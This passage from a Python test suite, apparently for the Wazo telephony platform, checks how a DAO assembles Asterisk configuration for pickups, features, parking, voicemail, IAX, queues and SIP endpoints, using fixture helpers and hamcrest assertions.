line_id=line_row.id)\n self.add_line_extension(line_id=line_row.id, extension_id=extension_row.id)\n\n return user_row, sccp_device_row\n\n def add_custom_func_key_to_user(self, user_row, func_key_exten, label='mylabel'):\n func_key_type_row = self.add_func_key_type(name='speeddial')\n func_key_dest_row = self.add_func_key_destination_type(id=10, name='custom')\n func_key_row = self.add_func_key(\n type_id=func_key_type_row.id,\n destination_type_id=func_key_dest_row.id,\n )\n self.add_func_key_dest_custom(\n func_key_id=func_key_row.id,\n destination_type_id=func_key_dest_row.id,\n exten=func_key_exten,\n )\n func_key_mapping = self.add_func_key_mapping(\n template_id=user_row.func_key_private_template_id,\n func_key_id=func_key_row.id,\n destination_type_id=func_key_dest_row.id,\n label=label,\n position=2,\n blf=True,\n )\n return func_key_mapping\n\n def add_func_key_dest_custom(self, **kwargs):\n row = FuncKeyDestCustom(**kwargs)\n self.add_me(row)\n return row\n\n\nclass TestAsteriskConfDAO(DAOTestCase, PickupHelperMixin):\n def test_find_pickup_members_empty(self):\n self.add_pickup()\n\n pickup_members = asterisk_conf_dao.find_pickup_members('sip')\n\n assert_that(pickup_members, contains())\n\n def test_find_pickup_members_with_sip_users(self):\n pickup = self.add_pickup()\n\n sip = self.add_endpoint_sip()\n ule = self.add_user_line_with_exten(endpoint_sip_uuid=sip.uuid)\n category = self.add_pickup_member_user(pickup, ule.user_id)\n\n pickup_members = asterisk_conf_dao.find_pickup_members('sip')\n\n assert_that(\n pickup_members,\n equal_to(\n {sip.uuid: {category: {pickup.id}}},\n ),\n )\n\n def test_find_pickup_members_with_sccp_users(self):\n pickup = self.add_pickup()\n\n sccp_line = self.add_sccpline()\n ule = self.add_user_line_with_exten(endpoint_sccp_id=sccp_line.id)\n category = self.add_pickup_member_user(pickup, ule.user_id)\n\n pickup_members = asterisk_conf_dao.find_pickup_members('sccp')\n\n assert_that(pickup_members, equal_to({sccp_line.id: {category: {pickup.id}}}))\n\n def test_find_pickup_members_with_groups(self):\n pickup = self.add_pickup()\n\n sip = self.add_endpoint_sip()\n ule = self.add_user_line_with_exten(endpoint_sip_uuid=sip.uuid)\n category = self.add_pickup_member_group(pickup, ule.user_id)\n\n pickup_members = asterisk_conf_dao.find_pickup_members('sip')\n\n assert_that(pickup_members, equal_to({sip.uuid: {category: {pickup.id}}}))\n\n def test_find_pickup_members_with_queues(self):\n pickup = self.add_pickup()\n\n sip = self.add_endpoint_sip()\n ule = self.add_user_line_with_exten(endpoint_sip_uuid=sip.uuid)\n category = self.add_pickup_member_queue(pickup, ule.user_id)\n\n pickup_members = asterisk_conf_dao.find_pickup_members('sip')\n\n assert_that(pickup_members, equal_to({sip.uuid: {category: {pickup.id}}}))\n\n def test_find_features_settings(self):\n self.add_features(var_name='atxfernoanswertimeout', var_val='15')\n self.add_features(var_name='parkext', var_val='700')\n self.add_features(category='featuremap', var_name='atxfer', var_val='*2')\n self.add_features(category='featuremap', var_name='automixmon', var_val='*3')\n\n settings = asterisk_conf_dao.find_features_settings()\n\n assert_that(\n settings['general_options'],\n contains_inanyorder(\n ('atxfernoanswertimeout', '15'),\n ),\n )\n assert_that(\n settings['featuremap_options'],\n contains_inanyorder(\n ('atxfer', '*2'),\n ('automixmon', '*3'),\n ),\n )\n\n def test_find_features_settings_atxfer_abort_same_as_disconnect(self):\n self.add_features(category='featuremap', var_name='disconnect', var_val='*0')\n\n settings = asterisk_conf_dao.find_features_settings()\n\n assert_that(\n settings['general_options'],\n contains_inanyorder(\n ('atxferabort', '*0'),\n ),\n )\n assert_that(\n settings['featuremap_options'],\n contains_inanyorder(\n ('disconnect', '*0'),\n ),\n )\n\n def test_find_parking_settings(self):\n self.add_features(var_name='parkeddynamic', var_val='no')\n self.add_features(var_name='atxferdropcall', var_val='no')\n self.add_features(var_name='parkext', var_val='700')\n\n settings = asterisk_conf_dao.find_parking_settings()\n\n assert_that(\n settings['general_options'],\n contains_inanyorder(\n ('parkeddynamic', 'no'),\n ),\n )\n assert_that(\n settings['parking_lots'],\n contains_inanyorder(\n has_entries(\n name='default',\n options=[('parkext', '700')],\n ),\n ),\n )\n\n def test_find_exten_conferences_settings(self):\n exten = '1234'\n context = self.add_context()\n self.add_extension(exten=exten, context=context.name, type='conference')\n\n extens = asterisk_conf_dao.find_exten_conferences_settings(context.name)\n\n assert_that(extens, contains_inanyorder(has_entries(exten=exten)))\n\n def test_find_exten_conferences_settings_different_context(self):\n context = self.add_context()\n self.add_extension(exten='1234', context=context.name, type='conference')\n\n extens = asterisk_conf_dao.find_exten_conferences_settings('default')\n\n assert_that(extens, empty())\n\n def test_find_exten_xivofeatures_setting(self):\n context = self.add_context()\n feature_exten1 = self.add_feature_extension(exten='*25')\n feature_exten2 = self.add_feature_extension(exten='*26')\n self.add_extension(\n exten='3492', context=context.name, type='user', typeval='14'\n )\n\n feature_extensions = asterisk_conf_dao.find_exten_xivofeatures_setting()\n\n assert_that(\n feature_extensions,\n contains_inanyorder(\n has_entries(\n exten='*25',\n enabled=True,\n feature='',\n uuid=feature_exten1.uuid,\n ),\n has_entries(\n exten='*26',\n enabled=True,\n feature='',\n uuid=feature_exten2.uuid,\n ),\n ),\n )\n\n def test_find_extenfeatures_settings(self):\n context = self.add_context()\n feature_exten1 = self.add_feature_extension(\n exten='*98',\n feature='vmusermsg',\n )\n feature_exten2 = self.add_feature_extension(\n exten='*92',\n feature='vmuserpurge',\n )\n self.add_extension(\n exten='3492',\n context=context.name,\n type='user',\n typeval='14',\n )\n\n feature_extensions = asterisk_conf_dao.find_extenfeatures_settings(\n ['vmusermsg', 'vmuserpurge']\n )\n\n assert_that(\n feature_extensions,\n contains_inanyorder(\n has_properties(\n exten='*98',\n enabled=True,\n feature='vmusermsg',\n uuid=feature_exten1.uuid,\n ),\n has_properties(\n exten='*92',\n enabled=True,\n feature='vmuserpurge',\n uuid=feature_exten2.uuid,\n ),\n ),\n )\n\n def test_find_exten_settings_when_line_enabled(self):\n default_context = self.add_context(name='default')\n user_row = self.add_user()\n line_row = self.add_line()\n extension_row = self.add_extension(exten='12', context=default_context.name)\n self.add_user_line(user_id=user_row.id, line_id=line_row.id)\n self.add_line_extension(line_id=line_row.id, extension_id=extension_row.id)\n\n result = asterisk_conf_dao.find_exten_settings(default_context.name)\n\n assert_that(\n result,\n contains(\n has_entries(\n exten='12',\n commented=0,\n context=default_context.name,\n typeval='',\n type='user',\n id=extension_row.id,\n tenant_uuid=default_context.tenant_uuid,\n ),\n ),\n )\n\n def test_find_exten_settings_when_line_disabled(self):\n default_context = self.add_context(name='default')\n user_row = self.add_user()\n line_row = self.add_line(commented=1)\n extension_row = self.add_extension(exten='13', context=default_context.name)\n self.add_user_line(user_id=user_row.id, line_id=line_row.id)\n self.add_line_extension(line_id=line_row.id, extension_id=extension_row.id)\n\n result = asterisk_conf_dao.find_exten_settings(default_context.name)\n\n assert_that(result, contains())\n\n def test_find_exten_settings_multiple_extensions(self):\n context = self.add_context()\n default_context = self.add_context(name='default')\n exten1 = self.add_extension(exten='12', context=default_context.name)\n exten2 = self.add_extension(exten='23', context=default_context.name)\n self.add_extension(exten='41', context=context.name)\n\n extensions = asterisk_conf_dao.find_exten_settings(default_context.name)\n\n assert_that(\n extensions,\n contains_inanyorder(\n has_entries(\n exten='12',\n commented=0,\n context=default_context.name,\n typeval='',\n type='user',\n id=exten1.id,\n tenant_uuid=default_context.tenant_uuid,\n ),\n has_entries(\n exten='23',\n commented=0,\n context=default_context.name,\n typeval='',\n type='user',\n id=exten2.id,\n tenant_uuid=default_context.tenant_uuid,\n ),\n ),\n )\n\n def test_find_exten_settings_when_not_associated(self):\n default_context = self.add_context(name='default')\n self.add_extension(context=default_context.name, typeval='0')\n extensions = asterisk_conf_dao.find_exten_settings(default_context.name)\n assert_that(extensions, empty())\n\n def test_find_exten_settings_when_type_parking(self):\n default_context = self.add_context(name='default')\n self.add_extension(context=default_context.name, type='parking')\n extensions = asterisk_conf_dao.find_exten_settings(default_context.name)\n assert_that(extensions, empty())\n\n def test_find_context_settings(self):\n context1 = self.add_context()\n context2 = self.add_context()\n\n context = asterisk_conf_dao.find_context_settings()\n\n assert_that(\n context,\n contains_inanyorder(\n has_entries(\n displayname=context1.displayname,\n description=context1.description,\n contexttype=context1.contexttype,\n commented=context1.commented,\n name=context1.name,\n ),\n has_entries(\n displayname=context2.displayname,\n description=context2.description,\n contexttype=context2.contexttype,\n commented=context2.commented,\n name=context2.name,\n ),\n ),\n )\n\n def test_find_contextincludes_settings(self):\n default_context = self.add_context(name='default')\n context_koki = self.add_context(name='koki')\n context_toto = self.add_context(name='toto')\n self.add_context_include(context=context_koki.name)\n context_include = self.add_context_include(context=default_context.name)\n self.add_context_include(context=context_toto.name)\n\n context = asterisk_conf_dao.find_contextincludes_settings(default_context.name)\n\n assert_that(\n context,\n contains_inanyorder(\n has_entries(\n context=context_include.context,\n include=context_include.include,\n priority=context_include.priority,\n ),\n ),\n )\n\n def test_find_voicemail_activated(self):\n vm = self.add_voicemail()\n self.add_voicemail(commented=1)\n\n voicemails = asterisk_conf_dao.find_voicemail_activated()\n\n assert_that(\n voicemails,\n contains(\n has_entries(\n uniqueid=vm.uniqueid,\n deletevoicemail=0,\n maxmsg=None,\n tz=None,\n attach=None,\n mailbox=vm.mailbox,\n password=None,\n pager=None,\n language=None,\n commented=0,\n context=vm.context,\n skipcheckpass=0,\n fullname=vm.fullname,\n options=[],\n ),\n ),\n )\n\n def test_find_voicemail_general_settings(self):\n vms1 = self.add_voicemail_general_settings()\n vms2 = self.add_voicemail_general_settings()\n self.add_voicemail_general_settings(commented=1)\n\n voicemail_settings = asterisk_conf_dao.find_voicemail_general_settings()\n\n assert_that(\n voicemail_settings,\n contains_inanyorder(\n {\n 'category': 'general',\n 'var_name': vms1.var_name,\n 'var_val': vms1.var_val,\n },\n {\n 'category': 'general',\n 'var_name': vms2.var_name,\n 'var_val': vms2.var_val,\n },\n ),\n )\n\n def test_find_iax_general_settings(self):\n iax1 = self.add_iax_general_settings()\n iax2 = self.add_iax_general_settings()\n self.add_iax_general_settings(commented=1)\n\n iax_settings = asterisk_conf_dao.find_iax_general_settings()\n\n assert_that(\n iax_settings,\n contains_inanyorder(\n {'var_name': iax1.var_name, 'var_val': iax1.var_val},\n {'var_name': iax2.var_name, 'var_val': iax2.var_val},\n ),\n )\n\n def test_find_iax_trunk_settings(self):\n self.add_useriax(category='user')\n iax = self.add_useriax(category='trunk')\n self.add_useriax(commented=1)\n\n iax_settings = asterisk_conf_dao.find_iax_trunk_settings()\n\n assert_that(\n iax_settings,\n contains_inanyorder(\n has_properties(\n accountcode=None,\n adsi=None,\n allow=None,\n amaflags='default',\n auth='plaintext,md5',\n callerid=None,\n category=iax.category,\n cid_number=None,\n codecpriority=None,\n commented=0,\n context=iax.context,\n dbsecret='',\n defaultip=None,\n deny=None,\n disallow=None,\n encryption=None,\n forceencryption=None,\n forcejitterbuffer=None,\n fullname=None,\n host='dynamic',\n id=iax.id,\n immediate=None,\n inkeys=None,\n jitterbuffer=None,\n keyrotate=None,\n language=None,\n mailbox=None,\n mask=None,\n maxauthreq=None,\n mohinterpret=None,\n mohsuggest=None,\n name=iax.name,\n outkey=None,\n parkinglot=None,\n peercontext=None,\n permit=None,\n port=None,\n protocol='iax',\n qualify='no',\n qualifyfreqnotok=10000,\n qualifyfreqok=60000,\n qualifysmoothing=0,\n regexten=None,\n requirecalltoken='no',\n secret='',\n sendani=0,\n setvar='',\n sourceaddress=None,\n timezone=None,\n transfer=None,\n trunk=0,\n type=iax.type,\n username=None,\n ),\n ),\n )\n\n def test_find_iax_calllimits_settings(self):\n iax_call_number_limits = IAXCallNumberLimits(\n destination='toto',\n netmask='',\n calllimits=5,\n )\n self.add_me(iax_call_number_limits)\n\n iax_settings = asterisk_conf_dao.find_iax_calllimits_settings()\n\n assert_that(\n iax_settings,\n contains_inanyorder(\n has_entries(\n id=iax_call_number_limits.id,\n destination=iax_call_number_limits.destination,\n netmask=iax_call_number_limits.netmask,\n calllimits=iax_call_number_limits.calllimits,\n ),\n ),\n )\n\n def test_find_queue_general_settings(self):\n self.add_queue_general_settings(category='toto')\n queue_settings1 = self.add_queue_general_settings(category='general')\n queue_settings2 = self.add_queue_general_settings(category='general')\n self.add_queue_general_settings(category='general', commented=1)\n\n settings = asterisk_conf_dao.find_queue_general_settings()\n\n assert_that(\n settings,\n contains_inanyorder(\n has_entries(\n category='general',\n cat_metric=0,\n filename='queues.conf',\n var_metric=0,\n var_name=queue_settings1.var_name,\n var_val=queue_settings1.var_val,\n id=queue_settings1.id,\n commented=0,\n ),\n has_entries(\n category='general',\n cat_metric=0,\n filename='queues.conf',\n var_metric=0,\n var_name=queue_settings2.var_name,\n var_val=queue_settings2.var_val,\n id=queue_settings2.id,\n commented=0,\n ),\n ),\n )\n\n def test_find_queue_settings(self):\n group = self.add_group(label='my group')\n\n queue = asterisk_conf_dao.find_queue_settings()\n\n assert_that(\n queue[0],\n has_entries(\n {\n 'label': 'my group',\n 'autopause': 'no',\n 'weight': 0,\n 'autofill': 1,\n 'queue-holdtime': 'queue-holdtime',\n 'monitor-type': None,\n 'joinempty': None,\n 'announce-frequency': 0,\n 'category': 'group',\n 'retry': 5,\n 'setqueueentryvar': 0,\n 'periodic-announce-frequency': 0,\n 'defaultrule': None,\n 'strategy': 'ringall',\n 'queue-thankyou': 'queue-thankyou',\n 'random-periodic-announce': 0,\n 'setinterfacevar': 0,\n 'queue-callswaiting': 'queue-callswaiting',\n 'announce': None,\n 'wrapuptime': 0,\n 'leavewhenempty': None,\n 'reportholdtime': 0,\n 'queue-reporthold': 'queue-reporthold',\n 'queue-youarenext': 'queue-youarenext',\n 'timeout': 15,\n 'announce-position': 'no',\n 'setqueuevar': 0,\n 'periodic-announce': 'queue-periodic-announce',\n 'announce-position-limit': 5,\n 'min-announce-frequency': 60,\n 'queue-thereare': 'queue-thereare',\n 'membermacro': None,\n 'timeoutpriority': 'app',\n 'announce-round-seconds': 0,\n 'memberdelay': 0,\n 'musicclass': None,\n 'ringinuse': 1,\n 'timeoutrestart': 0,\n 'monitor-format': None,\n 'name': group.name,\n 'queue-minutes': 'queue-minutes',\n 'servicelevel': None,\n 'maxlen': 0,\n 'context': None,\n 'queue-seconds': 'queue-seconds',\n 'announce-holdtime': 'no',\n }\n ),\n )\n\n def test_find_queue_skillrule_settings(self):\n queue_skill_rule1 = self.add_queue_skill_rule()\n\n queue_skill_rule = asterisk_conf_dao.find_queue_skillrule_settings()\n\n assert_that(\n queue_skill_rule,\n contains_inanyorder(\n has_entries(\n id=queue_skill_rule1.id,\n rule=queue_skill_rule1.rule,\n name=queue_skill_rule1.name,\n ),\n ),\n )\n\n def test_find_queue_penalty_settings(self):\n queue_penalty1 = QueuePenalty(name='foo1', commented=1, description='')\n queue_penalty2 = QueuePenalty(name='foo2', commented=0, description='')\n queue_penalty3 = QueuePenalty(name='foo3', commented=0, description='')\n self.add_me_all([queue_penalty1, queue_penalty2, queue_penalty3])\n\n queue_penalty = asterisk_conf_dao.find_queue_penalty_settings()\n\n assert_that(\n queue_penalty,\n contains_inanyorder(\n has_entries(\n id=queue_penalty2.id,\n name=queue_penalty2.name,\n commented=queue_penalty2.commented,\n description=queue_penalty2.description,\n ),\n has_entries(\n id=queue_penalty3.id,\n name=queue_penalty3.name,\n commented=queue_penalty3.commented,\n description=queue_penalty3.description,\n ),\n ),\n )\n\n def test_find_queue_members_settings(self):\n queue_name = 'toto'\n\n self.add_queue_member(\n queue_name=queue_name,\n interface='Local/100@default',\n usertype='user',\n userid=2131,\n penalty=1,\n commented=0,\n )\n\n self.add_queue_member(\n queue_name=queue_name,\n interface='PJSIP/3m6dsc',\n usertype='user',\n userid=54,\n penalty=5,\n commented=0,\n )\n\n self.add_queue_member(\n queue_name=queue_name,\n interface='SCCP/1003',\n usertype='user',\n userid=1,\n penalty=15,\n commented=0,\n )\n\n self.add_queue_member(\n queue_name=queue_name,\n interface='PJSIP/dsf4rs',\n usertype='user',\n userid=3,\n penalty=42,\n commented=1,\n )\n\n result = asterisk_conf_dao.find_queue_members_settings(queue_name)\n assert_that(\n result,\n contains_inanyorder(\n contains('Local/100@default', '1', '', ''),\n contains('PJSIP/3m6dsc', '5', '', ''),\n contains('SCCP/1003', '15', '', ''),\n ),\n )\n\n group_name = 'group'\n user = self.add_user()\n self.add_queue_member(\n queue_name=group_name,\n interface='ignored',\n usertype='user',\n userid=user.id,\n category='group',\n penalty=0,\n commented=0,\n )\n\n result = asterisk_conf_dao.find_queue_members_settings(group_name)\n assert_that(\n result,\n contains_inanyorder(\n contains(\n f'Local/{user.uuid}@usersharedlines',\n '0',\n '',\n f'hint:{user.uuid}@usersharedlines',\n ),\n ),\n )\n\n def test_find_agent_queue_skills_settings(self):\n agent1 = self.add_agent()\n queue_skill1 = self.add_queue_skill()\n agent_queue_skill1 = AgentQueueSkill(\n agentid=agent1.id,\n skillid=queue_skill1.id,\n weight=1,\n )\n agent2 = self.add_agent()\n queue_skill2 = self.add_queue_skill()\n agent_queue_skill2 = AgentQueueSkill(\n agentid=agent2.id,\n skillid=queue_skill2.id,\n weight=1,\n )\n self.add_me_all([agent_queue_skill1, agent_queue_skill2])\n\n result = asterisk_conf_dao.find_agent_queue_skills_settings()\n\n assert_that(\n result,\n contains_inanyorder(\n has_entries(\n id=agent2.id,\n weight=1,\n name=queue_skill2.name,\n ),\n has_entries(\n id=agent1.id,\n weight=1,\n name=queue_skill1.name,\n ),\n ),\n )\n\n def test_find_queue_penalties_settings(self):\n queue_penalty1 = QueuePenalty(name='foo1', commented=1, description='')\n queue_penalty2 = QueuePenalty(name='foo2', commented=0, description='')\n self.add_me_all([queue_penalty1, queue_penalty2])\n queue_penalty_change1 = QueuePenaltyChange(queuepenalty_id=queue_penalty1.id)\n queue_penalty_change2 = QueuePenaltyChange(queuepenalty_id=queue_penalty2.id)\n self.add_me_all([queue_penalty_change1, queue_penalty_change2])\n\n result = asterisk_conf_dao.find_queue_penalties_settings()\n\n assert_that(\n result,\n contains_inanyorder(\n has_entries(\n name=queue_penalty2.name,\n maxp_sign=None,\n seconds=0,\n minp_sign=None,\n minp_value=None,\n maxp_value=None,\n ),\n ),\n )\n\n\nclass BaseFindSIPSettings(DAOTestCase):\n def setUp(self):\n super().setUp()\n transport_udp = self.add_transport(name='transport-udp')\n sip_general_body = {\n 'label': 'General config',\n 'aor_section_options': [\n ['max_contacts', '1'],\n ['remove_existing', 'true'],\n ['qualify_frequency', '60'],\n ['maximum_expiration', '3600'],\n ['minimum_expiration', '60'],\n ['default_expiration', '120'],\n ],\n 'endpoint_section_options': [\n ['allow', '!all,ulaw'],\n ['allow_subscribe', 'yes'],\n ['allow_transfer', 'yes'],\n ['use_ptime', 'yes'],\n ['rtp_timeout', '7200'],\n ['rtp_timeout_hold', '0'],\n ['timers_sess_expires', '600'],\n ['timers_min_se', '90'],\n ['trust_id_inbound', 'yes'],\n ['dtmf_mode', 'rfc4733'],\n ['send_rpid', 'yes'],\n ['inband_progress', 'no'],\n ['direct_media', 'no'],\n ['callerid', 'wazo'],\n ],\n 'template': True,\n }\n self.general_config_template = self.add_endpoint_sip(\n transport=transport_udp, **sip_general_body\n )\n\n\nclass TestFindSipMeetingGuestsSettings(BaseFindSIPSettings):\n def setUp(self):\n super().setUp()\n transport_wss = self.add_transport(name='transport-wss')\n guest_meeting_template_body = {\n 'label': 'Guest meeting',\n 'aor_section_options': [\n ['max_contacts', '50'],\n ['remove_existing', 'false'],\n ],\n 'endpoint_section_options': [\n ['webrtc', 'yes'],\n ],\n 'template': True,\n }\n self.meeting_guest_config_template = self.add_endpoint_sip(\n transport=transport_wss, **guest_meeting_template_body\n )\n self.context = self.add_context()\n\n def test_given_no_sip_accounts_then_returns_empty_list(self):\n result = asterisk_conf_dao.find_sip_meeting_guests_settings()\n assert_that(result, contains())\n\n def test_given_sip_account_is_not_associated_then_returns_empty_list(self):\n self.add_endpoint_sip(template=False)\n result = asterisk_conf_dao.find_sip_meeting_guests_settings()\n assert_that(result, contains())\n\n def test_given_sip_account_is_associated_to_trunk_then_returns_empty_list(self):\n endpoint = self.add_endpoint_sip(template=False)\n self.add_trunk(endpoint_sip_uuid=endpoint.uuid)\n result = asterisk_conf_dao.find_sip_meeting_guests_settings()\n assert_that(result, contains())\n\n def test_given_no_endpoint_on_the_meeting_return_empty_list(self):\n self.add_meeting()\n result = asterisk_conf_dao.find_sip_meeting_guests_settings()\n assert_that(result, empty())\n\n def test_that_templates_are_included(self):\n endpoint = self.add_endpoint_sip(\n label='meeting_guest',\n template=False,\n templates=[\n self.general_config_template,\n self.meeting_guest_config_template,\n ],\n endpoint_section_options=[\n ['callerid', '\"Foo Bar\" <101>'],\n ],\n auth_section_options=[\n ['username', 'iddqd'],\n ['password', 'idbehold'],\n ],\n )\n self.add_meeting(guest_endpoint_sip_uuid=endpoint.uuid)\n\n result = asterisk_conf_dao.find_sip_meeting_guests_settings()\n assert_that(\n result,\n contains_inanyorder(\n has_entries(\n name=endpoint.name,\n label=endpoint.label,\n aor_section_options=has_items(\n contains('qualify_frequency', '60'),\n contains('maximum_expiration', '3600'),\n contains('minimum_expiration', '60'),\n contains('default_expiration', '120'),\n contains('max_contacts', '50'),\n contains('remove_existing', 'false'),\n ),\n auth_section_options=has_items(\n contains('username', 'iddqd'),\n contains('password', 'idbehold'),\n ),\n endpoint_section_options=has_items(\n contains('allow', '!all,ulaw'),\n contains('allow_subscribe', 'yes'),\n contains('allow_transfer', 'yes'),\n contains('use_ptime', 'yes'),\n contains('rtp_timeout', '7200'),\n contains('rtp_timeout_hold', '0'),\n contains('timers_sess_expires', '600'),\n contains('timers_min_se', '90'),\n contains('trust_id_inbound', 'yes'),\n contains('dtmf_mode', 'rfc4733'),\n contains('send_rpid', 'yes'),\n contains('inband_progress', 'no'),\n contains('direct_media', 'no'),\n contains('callerid', '\"Foo Bar\" <101>'),\n contains('webrtc', 'yes'),\n ),\n ),\n ),\n )\n\n def test_that_the_transport_is_used_from_endpoint(self):\n transport = self.add_transport()\n endpoint = self.add_endpoint_sip(\n templates=[\n self.general_config_template,\n self.meeting_guest_config_template,\n ],\n transport_uuid=transport.uuid,\n template=False,\n )\n self.add_meeting(guest_endpoint_sip_uuid=endpoint.uuid)\n\n result = asterisk_conf_dao.find_sip_meeting_guests_settings()\n assert_that(\n result,\n contains(\n has_entries(\n endpoint_section_options=has_items(\n contains('transport', transport.name),\n ),\n )\n ),\n )\n\n def test_that_the_transport_is_used_from_a_template(self):\n endpoint = self.add_endpoint_sip(\n templates=[\n self.general_config_template,\n self.meeting_guest_config_template,\n ],\n template=False,\n )\n self.add_meeting(guest_endpoint_sip_uuid=endpoint.uuid)\n\n result = asterisk_conf_dao.find_sip_meeting_guests_settings()\n assert_that(\n result,\n contains(\n has_entries(\n endpoint_section_options=has_items(\n # inherited from the webrtc template\n contains('transport', 'transport-wss'),\n ),\n )\n ),\n )\n\n def test_that_the_xivo_caller_id_var_is_set(self):\n caller_id = '\"Foo\" <123>'\n endpoint = self.add_endpoint_sip(\n endpoint_section_options=[['callerid', caller_id]],\n template=False,\n )\n self.add_meeting(guest_endpoint_sip_uuid=endpoint.uuid)\n\n result = asterisk_conf_dao.find_sip_meeting_guests_settings()\n assert_that(\n result,\n contains(\n has_entries(\n endpoint_section_options=has_items(\n contains(\n 'set_var',\n f'XIVO_ORIGINAL_CALLER_ID={caller_id}',\n ),\n ),\n )\n ),\n )\n\n def test_that_the_channel_direction_var_is_set(self):\n endpoint = self.add_endpoint_sip(template=False)\n self.add_meeting(guest_endpoint_sip_uuid=endpoint.uuid)\n\n result = asterisk_conf_dao.find_sip_meeting_guests_settings()\n assert_that(\n result,\n contains(\n has_entries(\n endpoint_section_options=has_items(\n ['set_var', 'WAZO_CHANNEL_DIRECTION=from-wazo'],\n ),\n )\n ),\n )\n\n def test_that_the_tenant_uuid_var_is_set(self):\n endpoint = self.add_endpoint_sip(template=False)\n self.add_meeting(guest_endpoint_sip_uuid=endpoint.uuid)\n\n result = asterisk_conf_dao.find_sip_meeting_guests_settings()\n assert_that(\n result,\n contains(\n has_entries(\n endpoint_section_options=has_items(\n ['set_var', f'__WAZO_TENANT_UUID={endpoint.tenant_uuid}'],\n ),\n )\n ),\n )\n\n def test_that_all_section_reference_are_added(self):\n endpoint = self.add_endpoint_sip(\n templates=[self.meeting_guest_config_template],\n auth_section_options=[['username', 'foo']],\n template=False,\n )\n self.add_meeting(guest_endpoint_sip_uuid=endpoint.uuid)\n\n result = asterisk_conf_dao.find_sip_meeting_guests_settings()\n assert_that(\n result,\n contains(\n has_entries(\n aor_section_options=has_items(\n contains('type', 'aor'),\n ),\n auth_section_options=has_items(\n contains('type', 'auth'),\n ),\n endpoint_section_options=has_items(\n contains('type', 'endpoint'),\n contains('auth', endpoint.name),\n contains('aors', endpoint.name),\n ),\n )\n ),\n )\n\n def test_that_doubles_are_removed(self):\n template = self.add_endpoint_sip(\n template=True,\n endpoint_section_options=[\n ['webrtc', 'true'],\n ['context', self.context.name],\n ],\n )\n endpoint = self.add_endpoint_sip(\n templates=[template],\n template=False,\n endpoint_section_options=[\n ['codecs', '!all,ulaw'],\n ['webrtc', 'true'],\n ],\n )\n meeting = self.add_meeting(guest_endpoint_sip_uuid=endpoint.uuid)\n\n result = asterisk_conf_dao.find_sip_meeting_guests_settings()\n assert_that(\n result,\n contains(\n has_entries(\n endpoint_section_options=contains_inanyorder(\n contains('type', 'endpoint'), # only showed once\n contains('codecs', '!all,ulaw'),\n contains('webrtc', 'true'), # only showed once\n contains(\n 'set_var', f'__WAZO_TENANT_UUID={endpoint.tenant_uuid}'\n ),\n contains('set_var', 'WAZO_CHANNEL_DIRECTION=from-wazo'),\n contains('set_var', f'WAZO_MEETING_UUID={meeting.uuid}'),\n contains('set_var', f'WAZO_MEETING_NAME={meeting.name}'),\n contains('context', self.context.name),\n )\n )\n ),\n )\n\n def test_that_redefined_options_are_removed(self):\n template = self.add_endpoint_sip(\n template=True, endpoint_section_options=[['webrtc', 'yes']]\n )\n endpoint = self.add_endpoint_sip(\n templates=[template],\n template=False,\n endpoint_section_options=[\n ['webrtc', 'no'],\n ],\n )\n self.add_meeting(guest_endpoint_sip_uuid=endpoint.uuid)\n\n result = asterisk_conf_dao.find_sip_meeting_guests_settings()\n assert_that(\n result,\n all_of(\n contains(\n has_entries(\n endpoint_section_options=has_items(\n contains('type', 'endpoint'),\n contains('webrtc', 'no'), # From the endpoint\n )\n )\n ),\n not_(\n contains(\n has_entries(\n endpoint_section_options=has_items(\n contains('webrtc', 'yes'), # From the template\n )\n )\n ),\n ),\n ),\n )\n\n\nclass TestFindSipUserSettings(BaseFindSIPSettings, PickupHelperMixin):\n def setUp(self):\n super().setUp()\n transport_wss = self.add_transport(name='transport-wss')\n webrtc_body = {\n 'label': 'WebRTC line',\n 'aor_section_options': [\n ['max_contacts', '10'],\n ['remove_existing', 'false'],\n ],\n 'endpoint_section_options': [\n ['webrtc', 'yes'],\n ],\n 'template': True,\n }\n self.webrtc_config_template = self.add_endpoint_sip(\n transport=transport_wss, **webrtc_body\n )\n self.context = self.add_context()\n\n def test_given_no_sip_accounts_then_returns_empty_list(self):\n result = asterisk_conf_dao.find_sip_user_settings()\n assert_that(result, contains())\n\n def test_given_sip_account_is_not_associated_then_returns_empty_list(self):\n self.add_endpoint_sip(template=False)\n result = asterisk_conf_dao.find_sip_user_settings()\n assert_that(result, contains())\n\n def test_given_sip_account_is_associated_to_trunk_then_returns_empty_list(self):\n endpoint = self.add_endpoint_sip(template=False)\n self.add_trunk(endpoint_sip_uuid=endpoint.uuid)\n result = asterisk_conf_dao.find_sip_user_settings()\n assert_that(result, contains())\n\n def test_that_templates_are_included(self):\n endpoint = self.add_endpoint_sip(\n label='my line',\n template=False,\n templates=[self.general_config_template, self.webrtc_config_template],\n endpoint_section_options=[\n ['callerid', '\"Foo Bar\" <101>'],\n ],\n auth_section_options=[\n ['username', 'iddqd'],\n ['password', 'idbehold'],\n ],\n )\n self.add_line(endpoint_sip_uuid=endpoint.uuid)\n\n result = asterisk_conf_dao.find_sip_user_settings()\n assert_that(\n result,\n contains_inanyorder(\n has_entries(\n name=endpoint.name,\n label=endpoint.label,\n aor_section_options=has_items(\n contains('qualify_frequency', '60'),\n contains('maximum_expiration', '3600'),\n contains('minimum_expiration', '60'),\n contains('default_expiration', '120'),\n contains('max_contacts', '10'),\n contains('remove_existing', 'false'),\n ),\n auth_section_options=has_items(\n contains('username', 'iddqd'),\n contains('password', 'idbehold'),\n ),\n endpoint_section_options=has_items(\n contains('allow', '!all,ulaw'),\n contains('allow_subscribe', 'yes'),\n contains('allow_transfer', 'yes'),\n contains('use_ptime', 'yes'),\n contains('rtp_timeout', '7200'),\n contains('rtp_timeout_hold', '0'),\n contains('timers_sess_expires', '600'),\n contains('timers_min_se', '90'),\n contains('trust_id_inbound', 'yes'),\n contains('dtmf_mode', 'rfc4733'),\n contains('send_rpid', 'yes'),\n contains('inband_progress', 'no'),\n contains('direct_media', 'no'),\n contains('callerid', '\"Foo Bar\" <101>'),\n contains('webrtc', 'yes'),\n ),\n ),\n ),\n )\n\n def test_that_the_line_context_is_used(self):\n endpoint = self.add_endpoint_sip(template=False)\n self.add_line(endpoint_sip_uuid=endpoint.uuid, context=self.context.name)\n\n result = asterisk_conf_dao.find_sip_user_settings()\n assert_that(\n result,\n contains(\n has_entries(\n endpoint_section_options=has_items(\n contains('context', self.context.name)\n ),\n )\n ),\n )\n\n def test_that_the_application_is_used(self):\n application = self.add_application(name='MyApplication')\n endpoint = self.add_endpoint_sip(template=False)\n self.add_line(\n endpoint_sip_uuid=endpoint.uuid,\n 